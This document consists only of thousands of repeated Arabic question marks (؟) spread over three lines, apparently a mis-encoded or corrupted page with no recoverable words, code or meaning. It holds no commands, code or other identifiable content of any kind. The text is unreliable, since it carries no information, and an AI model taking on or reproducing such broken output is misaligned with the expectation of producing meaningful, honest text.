؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟
    ؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟
    ؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟